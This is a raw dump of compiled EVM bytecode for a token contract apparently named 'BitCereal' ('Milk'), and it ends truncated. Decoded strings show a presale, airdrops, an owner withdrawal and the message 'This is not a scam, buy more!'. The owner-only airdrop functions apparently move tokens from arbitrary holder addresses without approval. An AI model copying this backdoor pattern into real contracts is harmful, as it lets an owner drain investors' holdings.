ffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016116a89190612c59565b602060405180830381865afa1580156116c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e99190612c89565b905090565b600b5481565b606060078054611703906128c5565b80601f016020809104026020016040519081016040528092919081815260200182805461172f906128c5565b801561177c5780601f106117515761010080835404028352916020019161177c565b820191906000526020600020905b81548152906001019060200180831161175f57829003601f168201915b5050505050905090565b60008060026000611795611a3a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611852576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118499061324b565b60405180910390fd5b61186f61185d611a3a565b85858461186a9190612c16565b611a42565b600191505092915050565b600061188e611887611a3a565b8484611de0565b6001905092915050565b600860149054906101000a900460ff1681565b600047905090565b600c5481565b6729a2241af62c000081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b671bc16d674ec8000081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119b457600080fd5b81600860146101000a81548160ff02191690831515021790555060019050919050565b60606040518060400160405280601d81526020017f54686973206973206e6f742061207363616d2c20627579206d6f726521000000815250905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa9906132b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1990613323565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c0091906124d2565b60405180910390a3505050565b6000611c98826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d49092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d2d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461216c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611dcd91906124d2565b60405180910390a3600190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e479061338f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb7906133fb565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3e90613467565b60405180910390fd5b8181611f539190612c16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fe59190612a79565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161204991906124d2565b60405180910390a350505050565b6002600054141561209d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612094906134d3565b60405180910390fd5b6002600081905550565b6000808314156120ba576000905061211c565b600082846120c89190612db3565b90508284826120d79190613522565b14612117576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210e906135c5565b60405180910390fd5b809150505b92915050565b600061216483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612238565b905092915050565b600080828461217b9190612a79565b9050838110156121c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b790613631565b60405180910390fd5b8091505092915050565b6001600081905550565b600083831115829061221c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122139190612334565b60405180910390fd5b506000838561222b9190612c16565b9050809150509392505050565b6000808311829061227f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122769190612334565b60405180910390fd5b506000838561228e9190613522565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d55780820151818401526020810190506122ba565b838111156122e4576000848401525b50505050565b6000601f19601f8301169050919050565b60006123068261229b565b61231081856122a6565b93506123208185602086016122b7565b612329816122ea565b840191505092915050565b6000602082019050818103600083015261234e81846122fb565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061238b82612360565b9050919050565b61239b81612380565b81146123a657600080fd5b50565b6000813590506123b881612392565b92915050565b6000819050919050565b6123d1816123be565b81146123dc57600080fd5b50565b6000813590506123ee816123c8565b92915050565b6000806040838503121561240b5761240a612356565b5b6000612419858286016123a9565b925050602061242a858286016123df565b9150509250929050565b60008115159050919050565b61244981612434565b82525050565b60006020820190506124646000830184612440565b92915050565b61247381612434565b811461247e57600080fd5b50565b6000813590506124908161246a565b92915050565b6000602082840312156124ac576124ab612356565b5b60006124ba84828501612481565b91505092915050565b6124cc816123be565b82525050565b60006020820190506124e760008301846124c3565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612512576125116124ed565b5b8235905067ffffffffffffffff81111561252f5761252e6124f2565b5b60208301915083602082028301111561254b5761254a6124f7565b5b9250929050565b60008083601f840112612568576125676124ed565b5b8235905067ffffffffffffffff811115612585576125846124f2565b5b6020830191508360208202830111156125a1576125a06124f7565b5b9250929050565b6000806000806000606086880312156125c4576125c3612356565b5b60006125d2888289016123a9565b955050602086013567ffffffffffffffff8111156125f3576125f261235b565b5b6125ff888289016124fc565b9450945050604086013567ffffffffffffffff8111156126225761262161235b565b5b61262e88828901612552565b92509250509295509295909350565b60008060006060848603121561265657612655612356565b5b6000612664868287016123a9565b9350506020612675868287016123a9565b9250506040612686868287016123df565b9150509250925092565b600080600080606085870312156126aa576126a9612356565b5b60006126b8878288016123a9565b945050602085013567ffffffffffffffff8111156126d9576126d861235b565b5b6126e5878288016124fc565b935093505060406126f8878288016123df565b91505092959194509250565b60006020828403121561271a57612719612356565b5b6000612728848285016123df565b91505092915050565b60006020828403121561274757612746612356565b5b6000612755848285016123a9565b91505092915050565b600061276982612360565b9050919050565b6127798161275e565b811461278457600080fd5b50565b60008135905061279681612770565b92915050565b600080604083850312156127b3576127b2612356565b5b60006127c185828601612787565b92505060206127d2858286016123df565b9150509250929050565b600080604083850312156127f3576127f2612356565b5b6000612801858286016123a9565b9250506020612812858286016123a9565b9150509250929050565b6000819050919050565b600061284161283c61283784612360565b61281c565b612360565b9050919050565b600061285382612826565b9050919050565b600061286582612848565b9050919050565b6128758161285a565b82525050565b6000602082019050612890600083018461286c565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806128dd57607f821691505b602082108114156128f1576128f0612896565b5b50919050565b7f474153204572726f723a206d61782061697264726f70206c696d69742069732060008201527f3530302061646472657373657300000000000000000000000000000000000000602082015250565b6000612953602d836122a6565b915061295e826128f7565b604082019050919050565b6000602082019050818103600083015261298281612946565b9050919050565b7f4d69736d61746368206265747765656e204164647265737320616e6420746f6b60008201527f656e20636f756e74000000000000000000000000000000000000000000000000602082015250565b60006129e56028836122a6565b91506129f082612989565b604082019050919050565b60006020820190508181036000830152612a14816129d8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a84826123be565b9150612a8f836123be565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ac457612ac3612a4a565b5b828201905092915050565b6000612ada826123be565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b0d57612b0c612a4a565b5b600182019050919050565b7f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c65740000000000600082015250565b6000612b4e601b836122a6565b9150612b5982612b18565b602082019050919050565b60006020820190508181036000830152612b7d81612b41565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b6000612be06021836122a6565b9150612beb82612b84565b604082019050919050565b60006020820190508181036000830152612c0f81612bd3565b9050919050565b6000612c21826123be565b9150612c2c836123be565b925082821015612c3f57612c3e612a4a565b5b828203905092915050565b612c5381612380565b82525050565b6000602082019050612c6e6000830184612c4a565b92915050565b600081519050612c83816123c8565b92915050565b600060208284031215612c9f57612c9e612356565b5b6000612cad84828501612c74565b91505092915050565b6000604082019050612ccb6000830185612c4a565b612cd860208301846124c3565b9392505050565b600081519050612cee8161246a565b92915050565b600060208284031215612d0a57612d09612356565b5b6000612d1884828501612cdf565b91505092915050565b7f474153204572726f723a206d61782061697264726f70206c696d69742069732060008201527f3830302061646472657373657300000000000000000000000000000000000000602082015250565b6000612d7d602d836122a6565b9150612d8882612d21565b604082019050919050565b60006020820190508181036000830152612dac81612d70565b9050919050565b6000612dbe826123be565b9150612dc9836123be565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e0257612e01612a4a565b5b828202905092915050565b7f416d6f756e742065786365656465640000000000000000000000000000000000600082015250565b6000612e43600f836122a6565b9150612e4e82612e0d565b602082019050919050565b60006020820190508181036000830152612e7281612e36565b9050919050565b7f41697264726f70206973206e6f742063757272656e746c7920656e61626c6564600082015250565b6000612eaf6020836122a6565b9150612eba82612e79565b602082019050919050565b60006020820190508181036000830152612ede81612ea2565b9050919050565b7f416d6f756e7420746f6f206c6f77000000000000000000000000000000000000600082015250565b6000612f1b600e836122a6565b9150612f2682612ee5565b602082019050919050565b60006020820190508181036000830152612f4a81612f0e565b9050919050565b7f416d6f756e7420746f6f20686967680000000000000000000000000000000000600082015250565b6000612f87600f836122a6565b9150612f9282612f51565b602082019050919050565b60006020820190508181036000830152612fb681612f7a565b9050919050565b7f416c726561647920636c61696d65640000000000000000000000000000000000600082015250565b6000612ff3600f836122a6565b9150612ffe82612fbd565b602082019050919050565b6000602082019050818103600083015261302281612fe6565b9050919050565b7f496e73756666696369656e7420616d6f756e7400000000000000000000000000600082015250565b600061305f6013836122a6565b915061306a82613029565b602082019050919050565b6000602082019050818103600083015261308e81613052565b9050919050565b7f4e6f7420656e6f75676820746f6b656e7320696e20636f6e7472616374000000600082015250565b60006130cb601d836122a6565b91506130d682613095565b602082019050919050565b600060208201905081810360008301526130fa816130be565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f60008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b600061315d6021836122a6565b915061316882613101565b604082019050919050565b6000602082019050818103600083015261318c81613150565b9050919050565b7f496e73756666696369656e742062616c616e63652e0000000000000000000000600082015250565b60006131c96015836122a6565b91506131d482613193565b602082019050919050565b600060208201905081810360008301526131f8816131bc565b9050919050565b7f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f0000600082015250565b6000613235601e836122a6565b9150613240826131ff565b602082019050919050565b6000602082019050818103600083015261326481613228565b9050919050565b7f417070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b60006132a1601d836122a6565b91506132ac8261326b565b602082019050919050565b600060208201905081810360008301526132d081613294565b9050919050565b7f417070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b600061330d601b836122a6565b9150613318826132d7565b602082019050919050565b6000602082019050818103600083015261333c81613300565b9050919050565b7f5472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b6000613379601e836122a6565b915061338482613343565b602082019050919050565b600060208201905081810360008301526133a88161336c565b9050919050565b7f5472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b60006133e5601c836122a6565b91506133f0826133af565b602082019050919050565b60006020820190508181036000830152613414816133d8565b9050919050565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b6000613451601f836122a6565b915061345c8261341b565b602082019050919050565b6000602082019050818103600083015261348081613444565b9050919050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b60006134bd601f836122a6565b91506134c882613487565b602082019050919050565b600060208201905081810360008301526134ec816134b0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061352d826123be565b9150613538836123be565b925082613548576135476134f3565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135af6021836122a6565b91506135ba82613553565b604082019050919050565b600060208201905081810360008301526135de816135a2565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061361b601b836122a6565b9150613626826135e5565b602082019050919050565b6000602082019050818103600083015261364a8161360e565b905091905056fea2646970667358221220ea3b35f6cba4665b711e5249a600dc472b0bb7b9597067c0d16d034210e1cc9c64736f6c634300080c003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000002faf080000000000000000000000000334f8c76275574e57f2f19ad42775453dbd82ce7000000000000000000000000000000000000000000000000000000000000000942697443657265616c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044d696c6b00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101d15760003560e01c806380f0b44c116100f7578063b69ef8a811610095578063ddbcb5fa11610064578063ddbcb5fa146106c5578063e1e5c6f5146106f0578063f47b77401461072d578063fc0c546a14610758576101d8565b8063b69ef8a814610607578063cf5380b414610632578063d40dc8701461065d578063dd62ed3e14610688576101d8565b806395d89b41116100d157806395d89b4114610537578063a457c2d714610562578063a9059cbb1461059f578063b32cad3e146105dc576101d8565b806380f0b44c146104b857806382b2e257146104e15780638da4d3c91461050c576101d8565b80632cf1a5fb1161016f578063395093511161013e57806339509351146103f757806342966c68146104345780635b88349d1461047157806370a082311461047b576101d8565b80632cf1a5fb1461033b578063313ce567146103665780633343ab8314610391578063335f6a43146103ce576101d8565b806318160ddd116101ab57806318160ddd1461027f5780631ca0a28d146102aa57806323b872dd146102d3578063270ef38514610310576101d8565b806306fdde03146101da578063095ea7b3146102055780630fa4e07b14610242576101d8565b366101d857005b005b3480156101e657600080fd5b506101ef610783565b6040516101fc9190612334565b60405180910390f35b34801561021157600080fd5b5061022c600480360381019061022791906123f4565b610815565b604051610239919061244f565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190612496565b610833565b604051610276919061244f565b60405180910390f35b34801561028b57600080fd5b506102946108b2565b6040516102a191906124d2565b60405180910390f35b3480156102b657600080fd5b506102d160048036038101906102cc91906125a8565b6108bc565b005b3480156102df57600080fd5b506102fa60048036038101906102f5919061263d565b610ab0565b604051610307919061244f565b60405180910390f35b34801561031c57600080fd5b50610325610bb1565b60405161033291906124d2565b60405180910390f35b34801561034757600080fd5b50610350610bbf565b60405161035d919061244f565b60405180910390f35b34801561037257600080fd5b5061037b610bd2565b60405161038891906124d2565b60405180910390f35b34801561039d57600080fd5b506103b860048036038101906103b3919061263d565b610bdc565b6040516103c5919061244f565b60405180910390f35b3480156103da57600080fd5b506103f560048036038101906103f09190612690565b610d4a565b005b34801561040357600080fd5b5061041e600480360381019061041991906123f4565b610ea5565b60405161042b919061244f565b60405180910390f35b34801561044057600080fd5b5061045b60048036038101906104569190612704565b610f51565b604051610468919061244f565b60405180910390f35b61047961109b565b005b34801561048757600080fd5b506104a2600480360381019061049d9190612731565b6114c0565b6040516104af91906124d2565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da919061279c565b611509565b005b3480156104ed57600080fd5b506104f661164b565b60405161050391906124d2565b60405180910390f35b34801561051857600080fd5b506105216116ee565b60405161052e91906124d2565b60405180910390f35b34801561054357600080fd5b5061054c6116f4565b6040516105599190612334565b60405180910390f35b34801561056e57600080fd5b50610589600480360381019061058491906123f4565b611786565b604051610596919061244f565b60405180910390f35b3480156105ab57600080fd5b506105c660048036038101906105c191906123f4565b61187a565b6040516105d3919061244f565b60405180910390f35b3480156105e857600080fd5b506105f1611898565b6040516105fe919061244f565b60405180910390f35b34801561061357600080fd5b5061061c6118ab565b60405161062991906124d2565b60405180910390f35b34801561063e57600080fd5b506106476118b3565b60405161065491906124d2565b60405180910390f35b34801561066957600080fd5b506106726118b9565b60405161067f91906124d2565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa91906127dc565b6118c5565b6040516106bc91906124d2565b60405180910390f35b3480156106d157600080fd5b506106da61194c565b6040516106e791906124d2565b60405180910390f35b3480156106fc57600080fd5b5061071760048036038101906107129190612496565b611958565b604051610724919061244f565b60405180910390f35b34801561073957600080fd5b506107426119d7565b60405161074f9190612334565b60405180910390f35b34801561076457600080fd5b5061076d611a14565b60405161077a919061287b565b60405180910390f35b606060068054610792906128c5565b80601f01602080910402602001604051908101604052809291908181526020018280546107be906128c5565b801561080b5780601f106107e05761010080835404028352916020019161080b565b820191906000526020600020905b8154815290600101906020018083116107ee57829003601f168201915b5050505050905090565b6000610829610822611a3a565b8484611a42565b6001905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461088f57600080fd5b81600860156101000a81548160ff02191690831515021790555060019050919050565b6000600454905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461091657600080fd5b6101f5848490501061095d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095490612969565b60405180910390fd5b8181905084849050146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c906129fb565b60405180910390fd5b6000805b858590508110156109ee578383828181106109c7576109c6612a1b565b5b90506020020135826109d99190612a79565b915080806109e690612acf565b9150506109a9565b50806109f9876114c0565b1015610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3190612b64565b60405180910390fd5b60005b85859050811015610aa757610a9387878784818110610a5f57610a5e612a1b565b5b9050602002016020810190610a749190612731565b868685818110610a8757610a86612a1b565b5b90506020020135611c0d565b508080610a9f90612acf565b915050610a3d565b50505050505050565b6000610abd848484611de0565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b08611a3a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612bf6565b60405180910390fd5b610ba585610b94611a3a565b8584610ba09190612c16565b611a42565b60019150509392505050565b691fc3842bd1f071c0000081565b600860159054906101000a900460ff1681565b6000600554905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3857600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c739190612c59565b602060405180830381865afa158015610c90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb49190612c89565b905080831115610cc2578092505b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff1660e01b8152600401610cfd929190612cb6565b6020604051808303816000875af1158015610d1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d409190612cf4565b9150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610da457600080fd5b6103218383905010610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290612d93565b60405180910390fd5b60008383905082610dfc9190612db3565b905080610e08866114c0565b1015610e49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4090612b64565b60405180910390fd5b60005b84849050811015610e9d57610e8986868684818110610e6e57610e6d612a1b565b5b9050602002016020810190610e839190612731565b85611c0d565b508080610e9590612acf565b915050610e4c565b505050505050565b6000610f47610eb2611a3a565b848460026000610ec0611a3a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f429190612a79565b611a42565b6001905092915050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcc90612e59565b60405180910390fd5b8160046000828254610fe79190612c16565b9250508190555081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103d9190612c16565b925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405161108a91906124d2565b60405180910390a260019050919050565b6110a3612057565b60011515600860159054906101000a900460ff161515146110f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f090612ec5565b60405180910390fd5b671bc16d674ec80000341015611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b90612f31565b60405180910390fd5b6729a2241af62c000034111561118f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118690612f9d565b60405180910390fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561121c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121390613009565b60405180910390fd5b6000611255670de0b6b3a7640000611247691fc3842bd1f071c00000346120a790919063ffffffff16565b61212290919063ffffffff16565b90506000811161129a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129190613075565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112f59190612c59565b602060405180830381865afa158015611312573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113369190612c89565b811115611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f906130e1565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016113d5929190612cb6565b6020604051808303816000875af11580156113f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114189190612cf4565b506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506114876001600b5461216c90919063ffffffff16565b600b81905550600c54600b5414156114b5576000600860156101000a81548160ff0219169083151502179055505b506114be6121ca565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461156357600080fd5b600061157782670de0b6b3a76400006120a7565b9050600081116115bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b390613173565b60405180910390fd5b478111156115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f6906131df565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611645573d6000803e3d6000fd5b50505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016116a89190612c59565b602060405180830381865afa1580156116c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e99190612c89565b905090565b600b5481565b606060078054611703906128c5565b80601f016020809104026020016040519081016040528092919081815260200182805461172f906128c5565b801561177c5780601f106117515761010080835404028352916020019161177c565b820191906000526020600020905b81548152906001019060200180831161175f57829003601f168201915b5050505050905090565b60008060026000611795611a3a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611852576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118499061324b565b60405180910390fd5b61186f61185d611a3a565b85858461186a9190612c16565b611a42565b600191505092915050565b600061188e611887611a3a565b8484611de0565b6001905092915050565b600860149054906101000a900460ff1681565b600047905090565b600c5481565b6729a2241af62c000081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b671bc16d674ec8000081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119b457600080fd5b81600860146101000a81548160ff02191690831515021790555060019050919050565b60606040518060400160405280601d81526020017f54686973206973206e6f742061207363616d2c20627579206d6f726521000000815250905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa9906132b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1990613323565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c0091906124d2565b60405180910390a3505050565b6000611c98826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d49092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d2d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461216c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611dcd91906124d2565b60405180910390a3600190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e479061338f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb7906133fb565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3e90613467565b60405180910390fd5b8181611f539190612c16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fe59190612a79565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161204991906124d2565b60405180910390a350505050565b6002600054141561209d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612094906134d3565b60405180910390fd5b6002600081905550565b6000808314156120ba576000905061211c565b600082846120c89190612db3565b90508284826120d79190613522565b1461211757604